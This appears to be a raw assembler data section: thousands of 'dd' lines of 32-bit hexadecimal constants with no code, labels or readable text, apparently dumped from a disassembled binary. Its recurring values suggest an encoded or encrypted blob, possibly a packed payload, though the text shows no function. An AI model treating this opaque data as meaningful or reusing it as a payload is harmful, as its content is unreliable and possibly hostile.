dd 0B63FFDB3h, 156605DBh, 345DDC32h, 0C5394625h, 0C7E29F09h
dd 984B13BFh, 33E46E31h, 0E90625E4h, 90ED43CBh, 13CE1A1Fh
dd 14DBDDCAh, 14664432h, 58F7FDDh, 0DB661132h, 4E2541FEh
dd 27B97280h, 0D3422476h, 2EA98860h, 0BAE7D8B7h, 5AE34B34h
dd 0FC662232h, 15661121h, 0A37A819Bh, 0B77A292h, 7DE35774h
dd 0F8CE290Bh, 0FC0EF907h, 15664426h, 807C1597h, 68A86BEFh
dd 4F005132h, 507476C7h, 8D946794h, 3B9F94B9h, 0A6068E9Ah
dd 0AF34253Fh, 15662233h, 753CC633h, 0F8D260B3h, 0F1E619FEh
dd 905D434Eh, 13C99066h, 15240D3Dh, 1D8F4432h, 9C662232h
dd 8AD63EF2h, 9E70E825h, 0BD7279B7h, 1576CB34h, 0B9DE1132h
dd 0A776B2AEh, 0F953525Fh, 9F5CDCA0h, 0F9E73F7Dh, 15668836h
dd 0EA4278BBh, 75390636h, 0CDE35C88h, 0BEA50904h, 74795D03h
dd 943EA709h, 9069179Dh, 15668802h, 15664ADBh, 731A0E32h
dd 8058DCF5h, 0F0A3A9EBh, 9EDF442Fh, 0BD4A97B7h, 156EF834h
dd 635D8832h, 7A3557ACh, 0AF3492D0h, 0EA99EECDh, 0ED3C5F1Bh
dd 943AC109h, 9069249Dh, 1566112Dh, 1567093Dh, 9E9F4432h
dd 0BD688BB7h, 14EE1E34h, 0E9668832h, 0EA99FC62h, 0D24FDDCDh
dd 2E9FE86Ah, 0BAE7E8B7h, 55E34B34h, 0E0662232h, 1E394B9h
dd 9F698E9Ah, 1566443Eh, 156625DBh, 78D2AD32h, 59F432EAh
dd 62F5FC62h, 5443196Ch, 0E2163966h, 1163C8EAh, 106E6F3Ah
dd 23A3530Ah, 0FD432A1Fh, 4DA1893Ch, 1567C73Dh, 1E9F2232h
dd 0BE21ECDh, 75668832h, 1566CF3Dh, 91D82232h, 7474E28Bh
dd 0EA8B22DBh, 1561ADCDh, 0C1DD2232h, 0C83EBE73h, 0ACE3B3ADh
dd 1A60EC01h, 156608B7h, 108F7132h, 0B0668832h, 0FB246B50h
dd 1560A63Dh, 93691132h, 15668832h, 0BFE3C953h, 0EC608D28h
dd 0EA8B7FDBh, 7531E8CDh, 2E071C53h, 0BD5423B7h, 75E31E34h
dd 75668832h, 82F6A5B3h, 0EDED186Dh, 0B9DB9253h, 146027B2h
dd 152FC13Dh, 78F2232h, 7B661132h, 46674349h, 52A675C7h
dd 0E9F5897Bh, 0D8117EFCh, 1A06E85Ch, 0E2D48A8Dh, 90EB4353h
dd 153F1A55h, 0F87F61CAh, 128FBBCDh, 68662232h, 0CD7FC3Eh
dd 198F4600h, 0F664432h, 656B2957h, 84BA51B0h, 2E43F8D4h
dd 0BAE6F8B7h, 3AE22D34h, 75661132h, 156681DBh, 48A1B232h
dd 7E003A21h, 9B692D9Bh, 15668830h, 2E07B4B9h, 0BAE6E2B7h
dd 2E31E34h, 1A668832h, 156641B0h, 0EFED4232h, 0A98F70CBh
dd 1A9977DEh, 156645B3h, 0F9E5DE32h, 31629836h, 1566888Ah
dd 4DA0CD32h, 0EC06DB52h, 1566943Dh, 74078832h, 156642DBh
dd 9A1D8032h, 96612C1Ch, 906989CCh, 1566451Dh, 0C3D92D52h
dd 156617DAh, 41C90532h, 75193639h, 2E077A53h, 0BAE6A1B7h
dd 27E38734h, 0FC664432h, 15662226h, 7118835Eh, 417D1CE4h
dd 3CE948A5h, 294C004Dh, 8E3359CFh, 92A20DBFh, 0FC9A446Ah
dd 0EA99CE71h, 156619DBh, 15D7132h, 4411972Eh, 0A1E31954h
dd 1A60BEB2h, 1566D3B7h, 0BD92432h, 0E93EB430h, 1569F853h
dd 29668832h, 0FE7D6D21h, 324BEE60h, 20E85B2Ah, 2FE30566h
dd 75661CBAh, 156FCA60h, 0DD231132h, 2093E76Eh, 4D43943Bh
dd 156ECB6Ch, 36F1132h, 0F1E7A81Bh, 0FC0790BFh, 0EA99C9D1h
dd 156CF852h, 0E7208832h, 0E4A19E29h, 24DA0766h, 7492C1B2h
dd 95DE0D09h, 9069429Dh, 15662259h, 6AE39CCEh, 1A66D0BAh
dd 156675BFh, 48F4232h, 2661132h, 32542025h, 0CA97E465h
dd 0DFBD9EF5h, 50231A0Fh, 15669CDBh, 24C1E132h, 7322B0D0h
dd 4AB35CADh, 0C1CCEFFh, 6EC52A47h, 958F431Ch, 7599EED9h
dd 156680DBh, 0CC98E732h, 0DCD08576h, 1568F9B7h, 3FC8832h
dd 0E2DAC736h, 2FBFBE53h, 0EE2B519h, 0EDBD0954h, 45071B49h
dd 944226B9h, 156615F6h, 15756132h, 660A4432h, 0BEBBEED0h
dd 0CA2EF695h, 0F7303366h, 8031C623h, 0F9E5DE3Ah, 314A9836h
dd 6611D85Ah, 0E223193Eh, 0F83A3EFh, 94728A7Eh, 629170F7h
dd 4888CDDDh, 156FAC3Dh, 73061132h, 1AB86088h, 1E078485h
dd 2FE32DC4h, 75661132h, 1567093Dh, 9F9F4432h, 0AF8F43CAh
dd 1A99EED8h, 156684B3h, 13EE4B32h, 1A662232h, 156611B7h
dd 15756132h, 6EEC4432h, 0BE1F40E5h, 42601851h, 0C6C350Bh
dd 54709597h, 39E772ABh, 0C14C9316h, 0A833D630h, 70866ECAh
dd 151CD7B3h, 0FB677606h, 1EE7876Fh, 0FC664432h, 15662234h
dd 4766A158h, 0A0EF9271h, 13CE4C0Fh, 156AAF3Dh, 9D691132h
dd 15668834h, 1566C23Dh, 9C9A2232h, 0BD60E487h, 6E88734h
dd 75664432h, 156624DAh, 0A153FF32h, 4AEBC416h, 5222F68Dh
dd 2BE64316h, 0BDE31EDBh, 0E0668832h, 1567FE60h, 0E7672232h
dd 1ED2BB9h, 11A20B16h, 79A1C5C7h, 142D3517h, 79DF40C5h
dd 3C2D9F17h, 90691DFDh, 15662239h, 156617DBh, 4100C332h
dd 4369DC02h, 3CB19860h, 41673AF1h, 4E3C8C16h, 3CB1AFB3h
dd 7D9F09F1h, 156657B6h, 0AC4284BBh, 15660432h, 1A3FE933h
dd 156610B3h, 0A85D7132h, 13CE4C0Fh, 1548A03Dh, 96691132h
dd 1566883Bh, 0CFE72252h, 4D314BFFh, 1A9D2A53h, 1566AEB4h
dd 94062432h, 7FD7C3EBh, 0DEE77700h, 1A0707BEh, 156646BDh
dd 74619132h, 0EA8F99DBh, 156361CDh, 60624432h, 9E87F459h
dd 0BD7C808Fh, 15746134h, 1F204432h, 0F023C946h, 0EA98C0AFh
dd 0D8FCAE8Ch, 0DC462561h, 3E33A7F5h, 1566179Ah, 1A9E8832h
dd 156648BFh, 1561CB32h, 8A681132h, 6A98F97h, 9C9F2440h
dd 0BD60D787h, 0DEC1E34h, 1A668832h, 156656B8h, 156BCB32h
dd 0E32F1132h, 0F5F0B8A0h, 0EE88BB9Ch, 98C2D04Bh, 0A56243AFh
dd 15776134h, 19614432h, 0B56EF1ADh, 795CC14Ah, 82B19E0Dh
dd 0E0A16A8Bh, 1E93F1CDh, 12E21EF2h, 0E9668832h, 156626DBh
dd 88EBD732h, 13CB816Dh, 156C6152h, 2DFF4432h, 0AA18CD3Ah
dd 0C6C7AC34h, 15660C3Dh, 0EC074432h, 9669F1CDh, 0EA99EEB5h
dd 15668FDBh, 0E2E24432h, 332FAA2Bh, 1393A4B9h, 68F8E9Ah
dd 69664432h, 4178CD1Ah, 0A222F89Ah, 49996442h, 50891146h
dd 0A0EFE8C3h, 13CE3A67h, 1AFB05CEh, 0ED60EAAAh, 9E9FF1CDh
dd 0BD6E2CB7h, 90EF7134h, 13CE42C7h, 0FC07DAC7h, 15661135h
dd 0DCADCB8Bh, 95EF2BF2h, 9069CA0Ch, 156611CEh, 0FDA50352h
dd 15664439h, 4A388191h, 26D497EEh, 1A5E41C1h, 156644BAh
dd 96077D32h, 0BD542C8Fh, 91698834h, 156644E6h, 940042CEh
dd 9ED0AEC5h, 0A334E9E4h, 95A8BAA6h, 0C3905DD4h, 95E9F7B2h
dd 9D372BDCh, 4C8ECCC7h, 0FCCCDB68h, 15661122h, 19089C8Fh
dd 690E2606h, 0D1BC2430h, 5C6D502Ah, 1528D25Ah, 3152CD32h
dd 934226B3h, 4D370901h, 0D550E1Fh, 0FD06B163h, 15662220h
dd 0B8F28191h, 0BF45CDA3h, 1F2506B0h, 0C29299Dh, 0C5E771C2h
dd 0AA4F07Ah, 0E6D14B6Ah, 0F2DB7753h, 94051911h, 8BD14EDFh
dd 488E4500h, 344BDA1Bh, 7556785Eh, 9EBF0354h, 0AB3025C3h
dd 15662236h, 4D10091Fh, 1096A151h, 763E322Ah, 156ACB6Ch
dd 659D1132h, 67AA6152h, 79045478h, 0E9CD5775h, 156459DBh
dd 17D9E832h, 757F60ACh, 1F8E4352h, 0CE661132h, 62E479BFh
dd 5DEF2FB4h, 74077C13h, 0FFB68CBFh, 128F8E9Dh, 47664432h
dd 0F240B78Fh, 0C6994633h
dd 156A0B3Dh, 95694432h, 15662234h, 1566963Dh, 1A068832h
dd 156640B8h, 0E9DD4432h, 13EF1E6Ah, 1A668832h, 156644B1h
dd 88EB4332h, 13C9EE08h, 1567083Dh, 759A4432h, 73FED0B2h
dd 0EA07CBB9h, 156361E1h, 9C3D4432h, 1EF774EAh, 0FE31EF2h
dd 0FC668832h, 1566443Ah, 5B9C659h, 0B15780D3h, 1566BADBh
dd 17ED4B32h, 75662232h, 0E0E39253h, 10602034h, 0EB0BADCBh
dd 9D69DDCDh, 15661125h, 15669ADBh, 3B1EDA32h, 7C89EBA2h
dd 5CC66E85h, 645D8C3Ch, 98AB6784h, 0A567AAAFh, 1DE41E34h
dd 75668832h, 1566C93Dh, 0EA072232h, 14E31EE1h, 0E0668832h
dd 90698439h, 15662209h, 0F1D87752h, 156C61F3h, 0EAA74432h
dd 2D1F3329h, 2A68635Ah, 153B6153h, 94064432h, 7D66B9F2h
dd 0A5067050h, 15766177h, 0C21A4432h, 28F538DFh, 82658E8h
dd 4232D37Fh, 46073CD5h, 595C4A65h, 5A39297Bh, 15364FB3h
dd 0D2E76344h, 0B5269149h, 1439EABBh, 1F8FD3E8h, 49664432h
dd 0FCBF2F58h, 0A64088A9h, 15956147h, 1D8F4432h, 5662232h
dd 1A7BABD7h, 9893CBD1h, 0B8F61BAFh, 0C699D734h, 154D923Dh
dd 0A3068832h, 0A0ED251Bh, 13CE24C7h, 156EF8C7h, 21F58832h
dd 4C7A3EA9h, 0CC8FB37Ah, 0FC66111Eh, 1566883Bh, 75C87F79h
dd 148D6235h, 0E0EB9A41h, 0FC602034h, 15664421h, 0FBAFA34Dh
dd 5272656Fh, 8256115Fh, 7B4EB16Ah, 9CCA27EAh, 0BD60E487h
dd 156C6134h, 7AB84432h, 55B1DB35h, 1B25B7A9h, 4F8F09CEh
dd 3C397132h, 4FDC70C3h, 14392432h, 409FD2E3h, 0D11C418Fh
dd 4A93A36Fh, 9405BE37h, 0E470BDFFh, 0C4A3C524h, 946B7626h
dd 5AF241C7h, 9CABA17Eh, 949A19DBh, 343410F4h, 51889002h
dd 3C79477Fh, 51A0C5FCh, 9479ED7Fh, 343423DCh, 156C6102h
dd 473C4432h, 5FB68AF7h, 13C5E44h, 1A062CC1h, 156644BBh
dd 0DFED4432h, 0E9B3F853h, 906977CDh, 15664433h, 0B9FBAFCEh
dd 1A60BFABh, 156689BDh, 7306B132h, 15FBB3h, 1AB5EE53h
dd 15668FB2h, 14EB4B32h, 0ED662232h, 31529065h, 5C7ADB08h
dd 2FDF156Ah, 242F3E61h, 3E9E48FAh, 0BD7C19B7h, 90EFB134h
dd 13CE2B53h, 84E39ACAh, 1A602028h, 15664DB5h, 0AA694232h
dd 0F2DD77C5h, 240EE949h, 9C66441Ch, 7D9F060Eh, 15667DC7h
dd 1A428CBBh, 156645B4h, 128FD732h, 91661132h, 90E8D27Bh
dd 98EB4681h, 13C8B9FFh, 2432A952h, 1C8FA960h, 8C664432h
dd 0A6F98E3Bh, 0A97462AEh, 0FCB77753h, 15664439h, 3E072E83h
dd 5036A357h, 9EA130CEh, 0BD54A9B7h, 198F4234h, 0BD661132h
dd 0A9BAF5C0h, 175BCF2Ch, 74DB5CCFh, 94809864h, 15668CF4h
dd 1188C532h, 92662232h, 9C3A3506h, 449FAC36h, 0D4E7A5BBh
dd 15662236h, 1562F8B3h, 19E18832h, 29EF1816h, 2E82D16h
dd 0FC661132h, 15668820h, 0F21E9941h, 3270AD41h, 20009B09h
dd 3497E0Eh, 90ED90B5h, 13CE38A3h, 6B1679C7h, 11EF8832h
dd 188FB816h, 54662232h, 0EF2E0D09h, 0B6E4AD48h, 8084F65Dh
dd 8997AFBFh, 7306179Ch, 688B57B3h, 74B4B7B2h, 9506F3CDh
dd 0A269B0C7h, 9C33E9C9h, 39E711F7h, 0A434E216h, 0D7E74B06h
dd 21D7DAF2h, 18F246Fh, 0D9662232h, 0E1D84CFAh, 60B01FFCh
dd 0D0FCEAA7h, 56A66F12h, 0EC2F7E32h, 9E367153h, 0D1E7603Eh
dd 15662236h, 984DEDCBh, 13CEBADFh, 60DBC7CEh, 15608A32h
dd 15A2953Dh, 0FC068832h, 1566443Bh, 0AC9E1F8Bh, 38E5926Bh
dd 9E077496h, 0BD70EDB7h, 0CFE74234h, 436BBA24h, 88A90954h
dd 904D25EDh, 13CE2247h, 15719B3Dh, 91698832h, 15664423h
dd 15662EDBh, 92F93132h, 623C9025h, 969B4FCh, 156DCBEEh
dd 0BD661132h, 9CA0A5B7h, 0CD4129AFh, 1AA719A6h, 156674B4h
dd 9369E832h, 15664437h, 1AEA354h, 7401A078h, 1A8F0DB9h
dd 58F429Ah, 8A662232h, 974E284Ah, 514B2BFAh, 0C8A54899h
dd 1688177Ah, 0BD6664B7h, 15636134h, 0D4A54432h, 9C12F57Fh
dd 0BD64DCB7h, 19ED8734h, 1A664432h, 156624BAh, 15E41E32h
dd 0FC668832h, 15664584h, 156EAC3Dh, 92691132h, 15668830h
dd 460E2552h, 9C662254h, 9469353Eh, 15668838h, 1A3F1752h
dd 156622B9h, 47377032h, 0B22BC88h, 3132752Ch, 203E7836h
dd 0B785506h, 15669BDBh, 0FEB4E632h, 0D7CBB519h, 0AC6D40F0h
dd 4FB5D9C8h, 0C2043962h, 2C019C64h, 0CB912E40h, 3180097Ch
dd 0E225723Eh, 1588A3E4h, 14D9EACEh, 1C8FD6C2h, 94664432h
dd 0A1DF1F32h, 0CEA5F37Ah, 0EAD8DE65h, 9C66443Dh, 0ED6F7CC5h
dd 0EF1E6Dh, 0FC668832h, 15664422h, 67EB60EEh, 810FEB93h
dd 9D53E206h, 9BBC3487h, 15679C64h, 0E5671132h, 0FC06E86Ch
dd 15664439h, 795FD66Dh, 0C81D1976h, 0FD39BA42h, 15664434h
dd 40F55025h, 74381586h, 0BCE30153h, 7560EC24h, 1F8FC785h
dd 0CE661132h, 149D1EDFh, 0AEE489D1h, 90674386h, 13CE3DA7h
dd 156698DBh, 55A0F632h, 856DD42h, 5C9EFC4Fh, 683FE384h
dd 60E383C3h, 15608A32h, 75661132h, 0AE946CB2h, 11987993h
dd 75264853h, 0FD372281h, 15668835h, 0F5B5F32Fh, 4A3B1CF7h
dd 150E706Bh, 0FC668822h, 15664426h, 0F9B32AFCh, 0B9749200h
dd 32B16E0Ch, 37F39590h, 847D5D2Ah, 1573933Dh, 58F8832h
dd 2A664432h, 0DBB5E7EDh, 38C4FC6h, 0C00453A6h, 7DAFA62Ch
dd 15660E25h, 0E9421DBBh, 73068858h, 74CE038Bh, 35DBB7CDh
dd 0EA9A179Ah, 0BD6AF9A7h, 14E84B34h, 0E0662232h, 1A8F94BBh
dd 138F8E9Ah, 0E6664432h, 0D1E8C9B5h, 0D8E398BEh, 75602030h
dd 9E07A7B8h, 9C35063Eh, 11A590D1h, 94668832h, 156640F1h
dd 317AA532h, 0A099E46Eh, 13CE8AFFh, 1577C63Dh, 9B692232h
dd 15661139h, 15668EDBh, 0A7E90B32h, 0EAB5C3F0h, 0BD54FC87h
dd 92697D34h, 15664433h, 13BC4ACEh, 29EF1132h, 15766116h
dd 48C44432h, 570991F2h, 6053989Ch, 7ED21A00h, 0A09902C5h
dd 13CE38A3h, 15779B3Dh, 198F8832h, 0D3664432h, 1C4D3781h
dd 2191A80Ch, 98AE2C1Dh, 0BBD238B7h, 0C599DE34h, 0D7DF7752h
dd 14077423h, 0BD6631BFh, 1560CB34h, 8B6E1132h, 0B62607FFh
dd 0D8DBCFCBh, 1A608A30h, 15661CBBh, 156E6132h, 58424432h
dd 40E342CEh, 0A0EDFC24h, 13CEBADFh, 0E9C2B7C7h, 0FD797B9h
dd 1B8F179Ah, 77668832h, 671BA4E9h, 5048E503h, 2480D1B8h
dd 0FD062521h, 1566443Fh, 0A812A6EDh, 1C004765h, 5E4A0611h
dd 9A691BC1h, 15662231h, 744AF5B2h, 24D83361h, 0F6A74BBEh
dd 7FA5A334h, 943B9D7Bh, 9E2F5DD9h, 11858538h, 18069A62h
dd 0DF4B6064h, 0D4678829h, 724340D2h, 1072A210h, 2E595F7Eh
dd 82C42C37h, 4DA56D13h, 4E9A7CBBh, 156D903Dh, 73068832h
dd 0D30CA7B3h, 0E0D29C54h, 10A6D053h, 156682DBh, 0FE381332h
dd 0C28F4FA5h, 446EEFC2h, 795A3664h, 0E4EF763Ch, 0AA87A36Ch
dd 5416E54Ah, 946561F3h, 0CF7AD5FBh, 0E8A7A33Dh, 946C4B0Dh
dd 16188EF3h, 4CAE4520h, 1561AF3Dh, 91691132h, 15668833h
dd 0C0E347C7h, 1A608A03h, 156605B8h, 15696132h, 0F28E4432h
dd 77A5F9D1h, 60AFD75Fh, 7B4658ACh, 0D8EBCF92h, 1A608A30h
dd 156603B7h, 1F8EE832h, 98664432h, 4722AC59h, 0D73488ADh
dd 9607D0F3h, 19EF40DEh, 1A66AD16h, 156616B2h, 14E28732h
dd 0E0664432h, 14EC2D9Fh, 0E0661132h, 4FC03062h, 0CD915B85h
dd 247EC317h, 746F2426h
dd 0F5A7BBBAh, 94630C35h, 465DED69h, 4BEFD2BBh, 1A3ED3CEh
dd 156648B1h, 13E42D32h, 1A661132h, 156688B4h, 0A4D3CD32h
dd 0FC608A28h, 15661135h, 2515927Fh, 9623F5D3h, 9069DDCAh
dd 15661155h, 0BB363252h, 940703EFh, 0C8BBFF0Ch, 41E31EEFh
dd 75668832h, 7439B165h, 15669F67h, 9A331132h, 409ED534h
dd 1566408Fh, 5988A332h, 143F9709h, 59A009DCh, 483FC209h
dd 0C3D92D52h, 0D7819054h, 0A0EFE9D6h, 13CE5E83h, 15662CDBh
dd 14DD5432h, 908DBC91h, 939912FCh, 0FC69BF11h, 0EA99C2E7h
dd 0EFEDEE52h, 0D40785B9h, 1A0621F2h, 156611B8h, 9C69D932h
dd 15664432h, 9065436Bh, 13CE20E7h, 15669BDBh, 87B91232h
dd 452FE88Dh, 0D889BC80h, 0A5078BE4h, 0DC490BC3h, 1B2F9FB1h
dd 1A67179Ah, 156291B6h, 156FAD32h, 0E76D2232h, 9DA25B1Ch
dd 94CEBDB8h, 0BFCCEE0Ch, 0D7E32D98h, 0FC661132h, 15668839h
dd 1A2E7301h, 84737356h, 4068052Fh, 15623163h, 0D8EF4432h
dd 4888236Bh, 1570963Dh, 48F8832h, 82664432h, 0AF355296h
dd 0ED4A44C9h, 7455205Ch, 6D19932h, 1578795Ah, 31629832h
dd 1267EA8Ah, 0E920834Dh, 6A612350h, 4D9A571Bh, 156682DBh
dd 3A0DE832h, 1A5D7C7h, 4583E176h, 29EDD065h, 11A2C716h
dd 156BA63Dh, 1D8F1132h, 8C668832h, 0AC38B16Ch, 75D522E5h
dd 95989A54h, 440791EBh, 0C0906287h, 0D098E7CCh, 9D54E4B2h
dd 48FD1DAh, 24664432h, 14E7A50Bh, 8CF4B81Bh, 0D902D4BDh
dd 71F6D7ADh, 156676DBh, 1569F832h, 0E9838832h, 3F2417EAh
dd 0C98C1EEh, 77FBAD03h, 249EB985h, 1A9E75F5h, 156634B5h
dd 5E01E32h, 0FC668832h, 15664439h, 93F211DFh, 0AC2D5308h
dd 0A5AA7188h, 47A1489Ah, 0FBA62A84h, 61A09130h, 151B66B2h
dd 138F1EC2h, 0B8662232h, 5C28DEBEh, 0F3EFDE8Eh, 156282B3h
dd 0FBE72232h, 15661136h, 4942BCB5h, 0EC4240BBh, 1FD79FB1h
dd 1A67179Ah, 156705B6h, 0AB002432h, 73D9CFC2h, 74545A40h
dd 3BAAE060h, 0D43C5545h, 0E7E724D0h, 624308E2h, 2B2362B3h
dd 0D7E70AC1h, 3162B647h, 1EDC1BBh, 11A20916h, 75664432h
dd 74A1A9CEh, 95AEACB1h, 1A668E9Dh, 15661DB6h, 14E52D32h
dd 0ED661132h, 157E023Dh, 68F4432h, 17662232h, 0C921CCA2h
dd 0FB0BD2DCh, 0A35E038Bh, 64184B26h, 88EB6CD1h, 13C8412Dh
dd 1561CA3Dh, 75062232h, 0DAED7753h, 75B57753h, 15664BDAh
dd 0F97D6E32h, 221BFCAh, 3986ACEAh, 0E1D53367h, 4A85E7B2h
dd 0F5AD9054h, 2AE6E94Fh, 53E24BA2h, 1A662232h, 156600B0h
dd 156A6132h, 5A584432h, 3C92EDA0h, 3CFE3B54h, 4093AC10h
dd 1566418Fh, 0E89A332h, 14464F19h, 0EA109DDh, 48461A19h
dd 1561A53Dh, 91691132h, 15668833h, 1492ADCAh, 93692232h
dd 15661133h, 459E0BCAh, 15FEC63Dh, 9A692232h, 15661133h
dd 0A63570CEh, 458594FFh, 0F64E2886h, 4EBE996Ah, 18EB87CBh
dd 75664432h, 156624DBh, 82688B32h, 7476B724h, 1EEB4B98h
dd 0FC662232h, 15661134h, 7E7A8404h, 2199C1CDh, 0D1E57A16h
dd 156DF836h, 9C338832h, 62AD1530h, 84E4F1EBh, 48FBBDEh
dd 9A668832h, 83E4B28Bh, 5D430A30h, 3B0FF55Fh, 0A6EE1BC5h
dd 1574AC52h, 0F7FE2232h, 33786081h, 0BC6A7148h, 0F06C756Dh
dd 0DF0FCA1Eh, 0D199D0B3h, 0A338AF69h, 0F18F254Ah, 1A662232h
dd 156610B9h, 11ED7032h, 0F3EF1216h, 1562E4B3h, 0D3E51132h
dd 31520F36h, 0FD06246Eh, 1566223Ah, 0CEC7A429h, 60B6F10Bh
dd 74A0CF6Bh, 0BF07D2B8h, 0EA1991CAh, 0BDE387DBh, 1A664432h
dd 15662AB7h, 17E21E32h, 75668832h, 0F2E72453h, 25589013h
dd 156602DAh, 92444232h, 0FACE252h, 10D93198h, 97F620Bh
dd 0A564C694h, 4D199BB3h, 743C0757h, 95AEACB1h, 1A668E9Dh
dd 15660DB6h, 1BE32D32h, 75661132h, 1566053Dh, 0DAE74432h
dd 6673029Dh, 5FB9C53h, 0FC6026FAh, 15664426h, 4B9B002Ah
dd 0C08D3583h, 637968DFh, 0EFF08EF8h, 0C63E078Ah, 1A06C2CDh
dd 15668EBFh, 15E44B32h, 94662232h, 1AB7F0FDh, 9D34E91Fh
dd 11DD17F4h, 14662232h, 4E5599C9h, 12EE8768h, 1A664432h
dd 156623B2h, 9E9AE432h, 0BD6445B7h, 0BC63BD34h, 3821A415h
dd 710031C8h, 0EF63701Bh, 38022212h, 52E0059Bh, 0A26971CEh
dd 156361C0h, 0C5434432h, 7434B173h, 1548635Ah, 317A0132h
dd 15664089h, 4EBE0B32h, 1572F852h, 9D338832h, 8EFA1F67h
dd 0D6529930h, 0BF55C77h, 33D628E2h, 0BE073466h, 156633DBh
dd 0B06DCC32h, 0C79BC6C9h, 3C6D25DEh, 59288AF1h, 0E0CBA70Dh
dd 687D3567h, 53A16CB7h, 6FE4C7CEh, 0E90810E5h, 9442A4B9h
dd 156640F6h, 0DFED4232h, 74D4C7B2h, 0EA9D88DBh, 1561ADCDh
dd 8AA2232h, 0D09DDB53h, 0A4D30195h, 7560EC28h, 5485A354h
dd 0DEE1EB9h, 0FC668832h, 15664421h, 0DD910F2Eh, 8CA31CACh
dd 40059F6Ah, 0E6F75776h, 741BA075h, 156619DBh, 35DB7732h
dd 301F10E7h, 7164AFDh, 1EF1132h, 0DEA8716h, 0FC664432h
dd 15662221h, 0F6757F17h, 0B4924F55h, 36C7E9D6h, 10065E54h
dd 7D63C656h, 15660832h, 157FCE3Dh, 18F2232h, 4B661132h
dd 5ABDD701h, 8F4EA5DBh, 0E53FD60Dh, 8D325F12h, 7FB94711h
dd 19E84B32h, 1A662232h, 156617BEh, 15E28732h, 0EA664432h
dd 0BD78BF87h, 156FF834h, 0FD8F8832h, 9CD0232Eh, 0EAEB201Fh
dd 0BD4EBCA7h, 1ED7134h, 0F4EF1516h, 1562E3B3h, 0D4E51132h
dd 316A0F36h, 0ED31246Eh, 98ED436Ch, 13CE0E77h, 156A0F3Dh
dd 95694432h, 15662234h, 1566963Dh, 0F9E58832h, 3162CD36h
dd 1566228Ah, 0D2AE1032h, 15668832h, 469F1C32h, 15662689h
dd 9EBF1032h, 0D1E5AC2Eh, 14E64B36h, 0E0662232h, 0A239CBBh
dd 0FC068E9Ah, 15664420h, 555BB307h, 281215B3h, 34D2E8B7h
dd 0D68BB268h, 73060EFEh, 108FE2B9h, 0E0668832h, 6954E322h
dd 1D8F4353h, 6D661132h, 0AF0DB1FFh, 0FC612391h, 0EA99E4D5h
dd 95DF7752h, 15756059h, 83024432h, 5742A09Eh, 1659EEB7h
dd 2C5B08EAh, 0D53BE6C9h, 0E2E74481h, 743DCE6Bh, 154CBFDBh
dd 8DD12432h, 1564AD3Dh, 74061132h, 108FE853h, 0AE664432h
dd 69A25CC0h, 0A239CB9h, 94068E9Ah, 1B7745C0h, 156CCA09h
dd 0E93D1132h, 0D13A67C4h, 52995998h, 156630DBh, 0E3A04132h
dd 3CEEF173h, 227A880h, 6CE2B010h, 4B20DF47h, 94577753h
dd 69E56006h, 423F1C88h, 0E17A68Dh, 0D9A10912h, 2478DB38h
dd 9A697DCBh, 15661137h, 0DAEDEE52h, 0D1EBCD53h, 75608DB2h
dd 15661BDAh, 34406F32h, 994988A6h, 0FDCF7DE3h, 15661123h
dd 0E9F6F3EFh, 0D6DB0CE7h, 83D6122Eh, 0E9A18E52h, 0A73CD310h
dd 2DE7257Fh, 5922767Ch, 15E1943Dh, 9E068832h, 0EFED22E5h
dd 6DE74453h, 1A485D36h, 1566FCB7h, 1569AD32h, 0FCFE2232h
dd 0F08EB26h, 0F22CEB64h, 69BA79C7h, 118AA304h, 9C661132h
dd 11E7AC36h, 8433CE16h, 0FBE77C7Eh, 59F744B8h, 14E587CBh
dd 0EC664432h, 13DF7367h, 9C661132h, 0FB67D1FFh, 1D8F246Fh
dd 2D662232h, 4B5E0EF0h, 95883D74h, 0ED0705F1h, 3A0FA7B9h
dd 0FD06179Ah, 1566883Ah, 0F5A2260Ah, 409492BEh, 0A63FEAB9h
dd 578FE913h, 0E0664437h, 21E772CEh, 0F0341C16h, 31520339h
dd 156280B3h, 0E3E72232h, 1E83433Fh, 156687DBh, 525D0632h
dd 0E121A728h, 6D390B13h
dd 0DECD494Bh, 3162C562h, 208D7B2Bh, 0CD84768h, 3C53636Bh
dd 93691AC0h, 15662223h, 15661DDBh, 0C840D332h, 0EACB463Fh
dd 0CD7D4A65h, 0E9AF209Ah, 18ED879Eh, 75664432h, 1566A33Dh
dd 94001132h, 7477ECE8h, 1A6678C7h, 156759B6h, 73307132h
dd 753F42B9h, 0DF27FD54h, 713A078Bh, 2907702Ah, 0DCE2871Fh
dd 7599BBCDh, 0FC959D3Dh, 1566113Fh, 0BD87E1D3h, 3312D3DEh
dd 726A2D52h, 299E7094h, 0CDE2871Ch, 0FC664432h, 1566223Eh
dd 4EA9CE5Bh, 8026191Ch, 0C0337E79h, 9769120Eh, 1566143Ah
dd 1A5FB4CBh, 0EA99C3B4h, 545ADECDh, 1190933Dh, 759F8832h
dd 0A5DE2260h, 9B69782Fh, 1566113Eh, 15668FDBh, 83C51F32h
dd 0B5AC8613h, 1A3C2D53h, 0EA99D3B4h, 986924CDh, 15662231h
dd 7398A63Dh, 74FCE58Ch, 91691B0Eh, 0EA99DD76h, 157F923Dh
dd 18F8832h, 4D664432h, 0B5D1D65Fh, 318573A3h, 7818A5FFh
dd 0FCE7DBF8h, 29A1C621h, 80E41E53h, 75668836h, 3B0EFF54h
dd 14E32D53h, 0E9661132h, 9369F20Eh, 0EA99BB3Ah, 156629DBh
dd 6DB59E32h, 5FCB673Fh, 0DB669833h, 1567A93Dh, 0FC931132h
dd 15668C56h, 0E5E72452h, 5E94702h, 156619DBh, 5A03AE32h
dd 82547CE1h, 0AB004318h, 430792AEh, 0EA99778Ch, 4B946DCDh
dd 19EC2DCEh, 1A661132h, 15668EBDh, 15E94B32h, 2C662232h
dd 30E21EC0h, 0FC668836h, 15664422h, 1DE2E1D7h, 4B192409h
dd 0CBB016B1h, 0CDF50358h, 156DA63Dh, 138F1132h, 41668832h
dd 0D740B2D7h, 14D8747Fh, 3C661132h, 7306D6C0h, 0EC3693B9h
dd 46374369h, 92254A6Bh, 7C8F74EBh, 0ED99BBCCh, 9169EBB7h
dd 156612EAh, 15668FDBh, 5C59C132h, 0B8F9A481h, 3097A4BFh
dd 1D8F8E9Ah, 78664432h, 87263A2Fh, 470723D8h, 944284B9h
dd 156640F6h, 156FCB32h, 0F4441132h, 9EC5B681h, 447B72B2h
dd 9C36F3BBh, 4DA198FAh, 14E9876Bh, 0E0664432h, 1540A13Dh
dd 0FC061132h, 1566883Ah, 7C562F6Dh, 927EF8D0h, 156600DAh
dd 2D582E32h, 0C271D845h, 0DCC8A0ACh, 8E3AA59Fh, 743DF8F0h
